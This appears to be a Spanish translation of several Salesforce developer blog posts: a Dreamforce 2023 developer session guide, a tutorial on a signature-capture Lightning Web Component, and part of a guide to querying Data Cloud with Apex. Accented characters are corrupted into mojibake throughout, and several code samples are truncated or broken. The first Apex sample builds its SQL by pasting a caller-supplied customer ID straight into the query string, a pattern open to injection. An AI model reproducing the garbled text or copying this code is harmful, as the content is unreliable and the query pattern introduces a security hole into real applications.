Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
A帽adir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
A帽ade esta sesi贸n a tu agenda

Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
A帽ade esta sesi贸n a tu agenda

驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
A帽ade esta sesi贸n a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles 鈽侊笍

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles | Blog de desarrolladores de Salesforce

驴Alguna vez ha necesitado recopilar una firma electr贸nica sobre la marcha? Tal vez necesite verificar un pago, asegurarse de que se procesen transacciones exitosas o incluso actualizar los registros despu茅s de que se haya completado un servicio. Una firma electr贸nica es 煤til como paso de verificaci贸n de muchas maneras. Permitir que los trabajadores de campo capturen firmas sobre la marcha es uno de los casos de uso m贸vil m谩s comunes que escuchamos de nuestros clientes. Por lo tanto, me complace compartir que hemos creado un componente web Lightning de muestra que le permite capturar firmas y adjuntarlas a un registro de Salesforce. Si bien creamos esto para casos de uso m贸vil, no hay nada que le impida usarlo tambi茅n en computadoras de escritorio con pantalla t谩ctil. Trabajar con el LWC de captura de firmas Veamos un ejemplo en acci贸n. Dreamhouse es una aplicaci贸n de muestra de bienes ra铆ces ficticia que se puede usar para web y dispositivos m贸viles. Los agentes de bienes ra铆ces, cuando est谩n en el proceso de cerrar un trato, deben poder capturar el nombre y la firma del comprador para asociarlos con la propiedad que se vendi贸. Para hacer esto, los desarrolladores de Dreamhouse pueden utilizar un nuevo componente LWC de muestra que hemos creado. 隆Vamos a sumergirnos en 茅l!

Configuraci贸n de la configuraci贸n de LWC

Para nuestro requisito Dreamhouse anterior, debemos poder recopilar el nombre y la informaci贸n de la firma del LWC. Esto se puede hacer a trav茅s de tres pasos.

  1. Configure su dise帽o HTML LWC
  2. Configura tus estilos LWC
  3. Conecte su interfaz con las API de JavaScript de LWC

隆Vamos a sumergirnos en m谩s detalles sobre los pasos!

1. Configure su dise帽o HTML de LWC

Para comenzar, vaya a la secci贸n NameAndSignatureCapture del directorio de muestra de LWC en GitHub. Luego, copie el componente signaturePad en la carpeta lwc de su proyecto. Despu茅s de copiar el c贸digo del componente de muestra, puede hacer referencia al componente escribiendo <c-signature-pad> y establecer sus atributos para configurarlo.

<dx-code-block title language="html" code-block="

芦>

2. Configura tus estilos LWC

A continuaci贸n, los estilos de la interfaz tambi茅n se pueden ajustar para satisfacer sus necesidades. Para nuestra demostraci贸n de Dreamhouse, importemos una nueva familia de fuentes. Para hacer esto, simplemente configure los estilos para su componente LWC como se ve a continuaci贸n.

Tambi茅n puede personalizar el dise帽o del LWC a su gusto haciendo referencia a la clase adecuada y los atributos HTML.

3. Conecte su interfaz con las API de LWC

Por 煤ltimo, debemos asegurarnos de que la firma sea capturada correctamente por el LWC. A los efectos de nuestro ejemplo Dreamhouse, queremos poder guardar la firma proporcionada por el usuario final.

El SignaturePad LWC que proporcionamos se puede configurar para capturar datos y personalizar la interfaz a trav茅s de las API de JavaScript y sus atributos HTML correspondientes. Para hacer esto, simplemente invoque los m茅todos API y con茅ctelos a sus atributos HTML correspondientes en el <c-signature-pad> . Consulte la lista a continuaci贸n para el atributo HTML y las asignaciones de la API de JavaScript

Funcionalidad Descripci贸n Atributo HTML = "tipo" API de JavaScript (Tipo)
Habilitar firma de nombre Permite a los usuarios finales escribir su nombre y devuelve un texto para firmar generado autom谩ticamente a medida que los usuarios escriben su nombre. enable-name-signing=鈥漛ooleano鈥 enableNameSigning(booleano)
Habilitar dibujo de firma Le permite solicitar a los usuarios finales que dibujen su propia firma personalizada en el panel de firma proporcionado. habilitar-firma-dibujo = "booleano" enableSignatureDrawing (booleano)
Grosor de trazo caracter铆stico Personalice el grosor del trazo del l谩piz en las capturas de firma electr贸nica. trazo-grosor = "entero" grosor del trazo (entero)
Color de la pluma de firma Personalice el color de tinta del bol铆grafo que se proporciona al usuario final. bol铆grafo-color=鈥滳adena鈥 plumaColor(Cadena)
Color de la almohadilla de firma Personalice el color del pad de firma que ve el usuario final. pad-color=鈥滳adena鈥 padColor(Cadena)
Color de fuente de la firma Personaliza la fuente de la firma. fuente-color = "Cadena" font.color=Cadena
Configuraci贸n de una etiqueta de campo de entrada Establezca una etiqueta para el nombre del campo de entrada. nombre-entrada-etiqueta=鈥滳adena鈥 nombreInputLabel=鈥滳adena鈥
Configuraci贸n de una etiqueta de almohadilla Establezca un nombre para la etiqueta sobre el panel de firma. nombre-entrada-etiqueta=鈥滳adena鈥 nombreInputLabel=鈥滳adena鈥
Guardar firma Permite guardar una firma autogenerada y/o personalizada. onclick={guardar firma} pad.getSignature()
Firma clara Permite eliminar la firma anterior si es necesario volver a hacerlo. onclick={clarar Firma} pad.clearSignature()

Tenga en cuenta que tambi茅n agregamos un m茅todo clearSignature y saveSignature para permitir borrar y guardar firmas respectivamente. Puede hacer esto configurando sus propios m茅todos de JavaScript que se conectan a pad.setSignature() y pad.clearSignature() . Estos se pueden conectar a los componentes <lightning-button> . Veamos un ejemplo de esto a continuaci贸n.

Ahora que tenemos los m茅todos de JavaScript identificados, veamos algunos de ellos en acci贸n. Esto se puede hacer usando el siguiente JavaScript.

{ if (font.family === "Great Vibes" && font.status === "unloaded") { // Ensure that the font is loaded so that signature pad could use it. // If you are using a different font in your project, don’t forget // to update the if-condition above to account for it. font.load(); } }); } saveSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { const dataURL = pad.getSignature(); if (dataURL) { // At this point you can consume the signature, for example by saving // it to disk or uploading it to a Salesforce org/record. // Here we just preview it in an image tag. this.imgSrc = dataURL; } } } clearSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { pad.clearSignature(); } this.imgSrc = null; }
} 芦>

Tenga en cuenta que agregamos un m茅todo clearSignature que se invoca cuando se hace clic en el bot贸n Borrar, as铆 como un m茅todo saveSignature que se invoca cuando se hace clic en el bot贸n Guardar.

Algo a destacar sobre el componente es que responde completamente a los cambios de tama帽o y orientaci贸n. Tambi茅n tenga en cuenta que el componente de captura de firmas ha sido dise帽ado para funcionar en la web, el panel t谩ctil o el l谩piz para dispositivos m贸viles o tabletas.

Adem谩s, Signature Capture LWC es compatible con la web y los dispositivos m贸viles y es la solicitud m谩s com煤n utilizada en la aplicaci贸n m贸vil Salesforce , as铆 como en nuestra aplicaci贸n Mobile Test Harness . Eche un vistazo a la demostraci贸n a continuaci贸n para ver c贸mo se ejecuta en acci贸n.

Conclusi贸n

Esperamos que haya disfrutado de esta publicaci贸n de blog y que est茅 ansioso por usar las capacidades de captura de firma en su LWC para dispositivos m贸viles. Para empezar:

  • 隆Buceo en! Consulte nuestro repositorio GitHub de ejemplos m贸viles de LWC para ver y probar los ejemplos de LWC de las capacidades de captura de firmas en acci贸n. Luego, una vez que est茅 familiarizado con los flujos…
  • 隆Personal铆zalo! Tome las muestras de Signature Capture LWC y ampl铆elas para personalizarlas seg煤n las necesidades de su negocio.
  • 隆Alcanzar! Si tiene alguna pregunta, comentario o idea, puede conectarse con nosotros en nuestra comunidad Salesforce Mobile Trailblazer .

Para obtener m谩s informaci贸n sobre nuestras ofertas m贸viles, consulte los siguientes enlaces:

Sobre el Autor


Ashwin Nair es un Product Manager en Salesforce que se enfoca en Salesforce Mobile. Actualmente est谩 trabajando en Mobile Platform Experiences y ha estado en el espacio de desarrollo web y m贸vil durante m谩s de siete a帽os. S铆guelo en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Libere el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de m煤ltiples sistemas en una 煤nica instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para an谩lisis, aprendizaje autom谩tico y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientaci贸n sobre c贸mo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario est谩ndar de Data Cloud, o que los ISV construyan su propio c贸digo para automatizar operaciones espec铆ficas de Data Cloud, como la resoluci贸n de identidades, la creaci贸n y ejecuci贸n de conocimientos calculados de Data Cloud o la segmentaci贸n.

Objetos de Salesforce Data Cloud frente a objetos est谩ndar/personalizados

Antes de analizar c贸mo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y c贸mo difieren con respecto a los objetos est谩ndar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos can贸nico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de c贸mo estos objetos se asignan entre s铆 y sus prop贸sitos en la documentaci贸n de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar vol煤menes de datos mucho m谩s grandes (en la magnitud de miles de millones de registros) en comparaci贸n con los objetos est谩ndar y personalizados regulares en la Plataforma de Salesforce. Los objetos est谩ndar/personalizados est谩n dise帽ados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinci贸n clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, a煤n puede lograr la automatizaci贸n de procesos suscribi茅ndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es com煤n entre los objetos de la nube de datos y los objetos de la plataforma es que est谩n construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de caracter铆sticas de la plataforma, como Salesforce Flow, Apex y Platform Events.

C贸mo consultar datos de Data Cloud en Apex

Antes de profundizar en alg煤n c贸digo, exploremos un ejemplo de caso de uso de una aplicaci贸n de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de c贸digo en esta publicaci贸n de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar an谩lisis, utilizar t茅cnicas de aprendizaje autom谩tico y obtener informaci贸n procesable de los datos.

El c贸digo de Apex en esta publicaci贸n asume una condici贸n importante: la nube de datos est谩 habilitada y el c贸digo de Apex se ejecuta en la organizaci贸n de la nube de datos y no en las organizaciones de Salesforce que est谩n conectadas a la organizaci贸n de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase est谩 disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo acceder a los datos de un objeto de nube de datos mediante una instrucci贸n SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = 禄 + customerId + 禄 ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } 芦>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una p谩gina Lightning de caso de objeto est谩ndar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del c贸digo

  • El m茅todo toma un par谩metro customerId , lo que indica que recupera los datos del panel solar para un cliente espec铆fico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operaci贸n de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un l铆mite de CPU de 10 segundos para transacciones sincr贸nicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, aseg煤rese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que est谩 trabajando) para limitar la cantidad de filas y evitar alcanzar el l铆mite de CPU de 10 segundos.
  • Si est谩 recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincr贸nica y aproveche el l铆mite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tama帽os de respuesta m谩s grandes para casos de uso en los que necesita extraer grandes vol煤menes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • Tambi茅n puede usar SOQL en lugar de SQL, pero aseg煤rese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

C贸mo buscar informaci贸n de perfil

Antes de analizar c贸mo buscar informaci贸n de perfil de Data Cloud en Apex, debemos comprender qu茅 es un perfil unificado.

Perfil unificado y resoluci贸n de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene informaci贸n diferente sobre ella, como diferentes direcciones de correo electr贸nico. Estos datos 煤nicos se denominan puntos de contacto . Los clientes como Martha est谩n representados por m煤ltiples registros de contacto y perfiles espec铆ficos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una funci贸n de resoluci贸n de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentaci贸n y activaciones en varios otros sistemas.

Buscar informaci贸n de perfil de Data Cloud

A continuaci贸n se muestra un c贸digo Apex de utilidad de ejemplo que busca informaci贸n de perfil. Tenga en cuenta que se utiliza el m茅todo queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } 芦>

Aqu铆 hay un fragmento de c贸digo de ejemplo que invoca el c贸digo de utilidad anterior al pasar los par谩metros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); 芦>

El c贸digo busca la informaci贸n de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del c贸digo

  • El m茅todo utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los par谩metros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de b煤squeda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar par谩metros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificaci贸n para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El m茅todo devuelve response.data , que representa los datos recuperados de la consulta

Importante consideraci贸n

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el c贸digo de Apex, ya que, de lo contrario, el m茅todo puede generar excepciones y errores internos del servidor.

驴C贸mo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular m茅tricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera informaci贸n calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de informaci贸n en Data Cloud: transmisi贸n e informaci贸n calculada.

Los conocimientos calculados son funciones que pueden calcular m茅tricas en datos hist贸ricos. Se procesan en lotes. Por ejemplo, en nuestra aplicaci贸n Solar Circles, podemos tener una visi贸n calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La informaci贸n de transmisi贸n se genera casi en tiempo real mediante el an谩lisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activaci贸n inmediata de acciones en los sistemas posteriores. Por ejemplo, la informaci贸n de transmisi贸n se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia m铆nima. Al aprovechar una acci贸n de datos en la transmisi贸n de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el m茅todo queryCalculatedInsights de la clase CdpQuery . A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del c贸digo

  • El m茅todo queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar informaci贸n calculada de Data Cloud.
  • El primer par谩metro es el nombre de API de la informaci贸n calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podr铆a reemplazarse por totalpowergenerated__cio .
  • Los siguientes par谩metros especifican dimensiones y medidas. Una dimensi贸n representa un campo o atributo en el que se basa la informaci贸n, mientras que una medida representa la m茅trica calculada. Proporcionar null para estos par谩metros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificaci贸n para el conjunto de resultados, pero en este fragmento de c贸digo, se establece en null .
  • Los par谩metros opcionales adicionales incluyen filtrar el conjunto de resultados a un 谩mbito o tipo m谩s espec铆fico y especificar la cantidad de elementos que se devolver谩n y la cantidad de filas que se omitir谩n antes de devolver los resultados.
